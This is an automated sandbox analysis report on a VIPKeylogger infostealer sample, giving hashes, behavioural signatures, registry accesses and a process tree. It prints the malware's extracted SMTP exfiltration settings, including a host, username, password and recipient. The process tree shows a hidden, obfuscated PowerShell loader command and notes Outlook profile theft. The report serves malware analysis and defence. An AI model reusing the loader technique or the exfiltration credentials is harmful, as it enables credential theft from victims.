Analysis
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max time kernel
140s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
18/02/2025, 02:18
Static task
static1
Behavioral task
behavioral1
Sample
286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral3
Sample
Thysanopteron.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Thysanopteron.ps1
Resource
win10v2004-20250217-en
General
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Target
286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe
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Size
486KB
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MD5
35f728212663760f57ea43bdb0b40261
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SHA1
d5537d0bb84dcfc3e4648e731be4ab8c0030ebe9
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SHA256
286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea
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SHA512
e71fd759efe9b3875ebdf967928faae7fd50e18312676792ce6f444d0ec8fb9d6cadde9e94820cc134d37eb92f5b6cbebb4fd2bf8fa835d6b7f7da2f8d122c7d
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SSDEEP
12288:ss5Ih2dOP+4QgEyachltlR1i8C8M6AFYM/cBCLousN3fjAmBmwx:ss6+4rRach/1i8PUBcB73fjAAmwx
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.viajesreina.com - Port:
587 - Username:
[email protected] - Password:
Nyxe5~69 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1820 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 13 1328 msiexec.exe 15 1328 msiexec.exe 17 1328 msiexec.exe 19 1328 msiexec.exe 22 1328 msiexec.exe 25 1328 msiexec.exe 27 1328 msiexec.exe 31 1328 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 12 drive.google.com 13 drive.google.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 24 checkip.dyndns.org 26 reallyfreegeoip.org 27 reallyfreegeoip.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1328 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1820 powershell.exe 1328 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe 1328 msiexec.exe 1328 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1820 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 1820 powershell.exe Token: SeIncreaseQuotaPrivilege 1820 powershell.exe Token: SeSecurityPrivilege 1820 powershell.exe Token: SeTakeOwnershipPrivilege 1820 powershell.exe Token: SeLoadDriverPrivilege 1820 powershell.exe Token: SeSystemProfilePrivilege 1820 powershell.exe Token: SeSystemtimePrivilege 1820 powershell.exe Token: SeProfSingleProcessPrivilege 1820 powershell.exe Token: SeIncBasePriorityPrivilege 1820 powershell.exe Token: SeCreatePagefilePrivilege 1820 powershell.exe Token: SeBackupPrivilege 1820 powershell.exe Token: SeRestorePrivilege 1820 powershell.exe Token: SeShutdownPrivilege 1820 powershell.exe Token: SeDebugPrivilege 1820 powershell.exe Token: SeSystemEnvironmentPrivilege 1820 powershell.exe Token: SeRemoteShutdownPrivilege 1820 powershell.exe Token: SeUndockPrivilege 1820 powershell.exe Token: SeManageVolumePrivilege 1820 powershell.exe Token: 33 1820 powershell.exe Token: 34 1820 powershell.exe Token: 35 1820 powershell.exe Token: 36 1820 powershell.exe Token: SeDebugPrivilege 1328 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2084 wrote to memory of 1820 2084 286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe 84 PID 2084 wrote to memory of 1820 2084 286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe 84 PID 2084 wrote to memory of 1820 2084 286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe 84 PID 1820 wrote to memory of 1328 1820 powershell.exe 87 PID 1820 wrote to memory of 1328 1820 powershell.exe 87 PID 1820 wrote to memory of 1328 1820 powershell.exe 87 PID 1820 wrote to memory of 1328 1820 powershell.exe 87 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe"C:\Users\Admin\AppData\Local\Temp\286613912fd0a6bf8e409ad00bc6120614661205b17a4bd9a1001d6572d034ea.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Portefljemanageres=Get-Content -Raw 'C:\Users\Admin\AppData\Local\unproselyte\besparelses\Thysanopteron.mel';$Sortbrsernes=$Portefljemanageres.SubString(53691,3);.$Sortbrsernes($Portefljemanageres) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1328
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
304KB
MD58e95d660e62b7ef162584f1b5f3e9431
SHA1912d6cbceed51daaf3692515895e698968431ce1
SHA2566ced24e63f7fb852e648785c44875c0d7bb16910569070b16d178833f1d43bf4
SHA5122f78396c2d264af8999810ba6c8a73f47f1e0c33464da345e5942b457617936dd3fc6fac5c2a8b4c15428fe0ca6ce2b905894a7477e449ada5a29d136d8881eb
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Filesize
52KB
MD543860ed7f681f502ab5b4a99e59833de
SHA170189257704b449a6b3b1303cbbd68e60f8f9fac
SHA2569f65609cbc60020021c363f0221d4b1ea83c4eabebec58341a71bf34cfd385f7
SHA51220b286626715d314dbc746aa50c16aafb483885d5825f2315abcad7a52f0483a5c9a5e40d08d35d8cefbb973e93ec52a2f56f6beab5756bb7504293c388e429c